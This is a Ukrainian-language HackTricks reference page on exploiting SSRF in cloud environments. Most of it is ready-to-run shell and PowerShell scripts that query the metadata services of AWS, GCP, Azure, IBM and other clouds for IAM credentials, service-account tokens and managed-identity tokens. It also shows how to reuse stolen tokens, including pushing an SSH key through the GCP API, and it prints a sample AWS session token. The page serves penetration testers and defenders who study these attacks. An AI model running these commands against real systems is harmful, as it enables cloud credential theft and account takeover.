SSRF у хмарі

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Перевірте плани підписки!

Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

AWS

Зловживання SSRF у середовищі AWS EC2

Ендпоінт метаданих доступний зсередини будь-якої машини EC2 і надає цікаву інформацію про неї. Він доступний за URL: http://169.254.169.254 (information about the metadata here).

Існує 2 версії ендпоінта метаданих. Перша дозволяє доступатися до ендпоінта через GET запити (тому будь-який SSRF може це експлуатувати). Для версії 2, IMDSv2, потрібно запросити token, відправивши PUT запит з HTTP header, а потім використати цей token для доступу до метаданих з іншим HTTP header (тому це складніше для зловживання через SSRF).

Caution

Зверніть увагу, що якщо EC2 instance примусово використовує IMDSv2, according to the docs, response of the PUT request буде мати hop limit of 1, що робить неможливим доступ до метаданих EC2 з контейнера всередині EC2 інстансу.

Крім того, IMDSv2 також block requests to fetch a token that include the X-Forwarded-For header. Це зроблено, щоб запобігти доступу через неправильно сконфігуровані reverse proxies.

Інформацію про metadata endpoints in the docs можна знайти в документації. У наступному скрипті з нього отримується деяка цікава інформація:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Як приклад публічно доступних облікових даних IAM ви можете відвідати: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Ви також можете перевірити публічні облікові дані безпеки EC2 за адресою: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Потім ви можете взяти ці облікові дані і використовувати їх через AWS CLI. Це дозволить вам робити все, на що ця роль має дозволи.

Щоб скористатися новими обліковими даними, вам потрібно створити новий профіль AWS, як наведено нижче:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Зверніть увагу на aws_session_token, він необхідний для роботи профілю.

PACU можна використовувати з виявленими credentials, щоб дізнатися ваші privileges і спробувати escalate privileges

SSRF in AWS ECS (Container Service) облікові дані

ECS, — це логічна група EC2 інстансів, на якій ви можете запускати застосунок без необхідності масштабувати власну інфраструктуру керування кластерами, оскільки ECS це робить за вас. Якщо вам вдасться скомпрометувати сервіс, що працює в ECS, metadata endpoints змінюються.

Якщо ви звернетесь до http://169.254.170.2/v2/credentials/<GUID> ви знайдете credentials машини ECS. Але спочатку потрібно знайти <GUID>. Щоб знайти <GUID> вам потрібно прочитати змінну environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI всередині машини.
Ви можете прочитати її, експлуатуючи Path Traversal до file:///proc/self/environ\
Зазначена http-адреса повинна повернути вам AccessKey, SecretKey and token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Зверніть увагу, що в деяких випадках ви зможете отримати доступ до EC2 metadata instance з контейнера (перевірте обмеження IMDSv2 TTL, згадані раніше). У таких сценаріях з контейнера ви могли б отримати доступ як до container IAM role, так і до EC2 IAM role.

SSRF for AWS Lambda

У цьому випадку облікові дані зберігаються в env variables. Тому, щоб отримати до них доступ, потрібно звернутися до чогось на кшталт file:///proc/self/environ.

The name of the interesting env variables are:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Крім IAM credentials, Lambda functions також мають event data that is passed to the function when it is started. Ці дані надаються функції через runtime interface і можуть містити чутливу інформацію (наприклад всередині stageVariables). На відміну від IAM credentials, ці дані доступні через стандартний SSRF за адресою http://localhost:9001/2018-06-01/runtime/invocation/next.

Warning

Зверніть увагу, що lambda credentials знаходяться в env variables. Тому, якщо stack trace коду lambda виводить env vars, можливо exfiltrate them, спричинивши помилку у додатку.

SSRF URL for AWS Elastic Beanstalk

Ми отримуємо accountId та region з API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Потім ми отримуємо AccessKeyId, SecretAccessKey і Token з API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Потім ми використовуємо облікові дані з aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

You can find here the docs about metadata endpoints.

SSRF URL для Google Cloud

Вимагає HTTP-заголовка Metadata-Flavor: Google, і ви можете отримати доступ до endpoint’у метаданих за такими URL:

Цікаві endpoint’и, з яких можна витягти інформацію:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta наразі не потребує заголовка (дякую Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Щоб use the exfiltrated service account token, достатньо виконати:
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
Додати SSH-ключ

Витягніть токен

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Перевірте scope token (за допомогою попереднього виводу або запустивши наступне)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Тепер відправте SSH-ключ.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Endpoint метаданих працює так само, як у VMs, але без деяких endpointів:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Warning

Тут немає таких речей, як AWS Roles або GCP service account, тож не очікуйте знайти облікові дані metadata-бота

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

Повинен містити заголовок Metadata: true
Не повинен містити заголовок X-Forwarded-For

Tip

На Azure VM може бути приєднано 1 system assigned managed identity і декілька user assigned managed identities. Це фактично означає, що ви можете імітувати всі managed identities, приєднані до VM.

Під час запиту access token до metadata endpoint за замовчуванням metadata service використовуватиме system assigned managed identity для генерації токена, якщо така system assigned managed identity є. Якщо є лише Одна user assigned managed identity, то вона буде використана за замовчуванням. Проте, якщо немає system assigned managed identity і є кілька user assigned managed identities, metadata service поверне помилку, вказуючи, що є кілька managed identities і потрібно вказати, яку саме використовувати.

На жаль, я не знайшов жодного metadata endpoint, який вказував би всі MIs, приєднані до VM, тому виявлення всіх призначених managed identities для VM може бути складним завданням з точки зору Red Team.

Тому, щоб знайти всі приєднані MIs, ви можете зробити:

Отримати attached identities with az cli (якщо ви вже скомпрометували principal в Azure tenant з дозволом Microsoft.Compute/virtualMachines/read)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
Отримати attached identities, використовуючи дефолтний прикріплений MI у metadata:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
Отримати всі визначені managed identities в tenant і brute force перевірити, чи будь-яка з них приєднана до VM (потрібний дозвіл Microsoft.ManagedIdentity/userAssignedIdentities/read):
az identity list

Caution

У запитах токена використовуйте будь-який з параметрів object_id, client_id або msi_res_id, щоб вказати managed identity, яку ви хочете використати (docs). Якщо жодного не вказано, буде використано default MI.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token

## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token

## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token

## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token


# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Warning

Зверніть увагу, що endpoint http://169.254.169.254/metadata/v1/instanceinfo не вимагає заголовка Metadata: True, що зручно для демонстрації впливу SSRF-вразливостей в Azure, коли ви не можете додати цей заголовок.

Azure App & Functions Services & Automation Accounts

Зі env ви можете отримати значення IDENTITY_HEADER та IDENTITY_ENDPOINT. Їх можна використати, щоб отримати токен для звернення до сервера метаданих.

Здебільшого вам потрібен токен для одного з цих ресурсів:

Caution

У запитах токена використовуйте будь-який з параметрів object_id, client_id або msi_res_id для вказання managed identity, яку ви хочете використовувати (docs). Якщо жоден не вказано, буде використано default MI.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"


# Using oneliners

## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'

IBM Cloud

Warning

Зверніть увагу, що в IBM за замовчуванням metadata не ввімкнено, тому можливо, що ви не зможете отримати до нього доступ навіть якщо ви перебуваєте всередині IBM cloud VM

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Документація щодо сервісів метаданих (metadata) різних платформ наведена нижче, з підкресленням методів, якими можна отримати доступ до інформації про конфігурацію та runtime екземплярів. Кожна платформа пропонує унікальні endpoints для доступу до своїх сервісів метаданих.

Packetcloud

Щоб отримати доступ до метаданих Packetcloud, документація доступна за адресою: https://metadata.packet.net/userdata

OpenStack/RackSpace

Потреба в заголовку не вказана. Метадані можна отримати через:

http://169.254.169.254/openstack

HP Helion

Тут також не вказано необхідність заголовка. Метадані доступні за адресою:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud надає низку endpoint’ів для доступу до різних аспектів метаданих:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba пропонує endpoint’и для доступу до метаданих, включаючи instance та image ID:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD може містити ключі API, внутрішні IP-адреси та порти. Доступ демонструється через:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

До метаданих Docker можна звертатися локально, наведені приклади для отримання інформації про контейнери та images:

Простий приклад доступу до метаданих контейнерів і images через Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
Всередині контейнера використовуйте curl з Docker socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

До метаданих Rancher можна звернутися за допомогою:

curl http://rancher-metadata/<version>/<path>

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Перевірте плани підписки!

Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.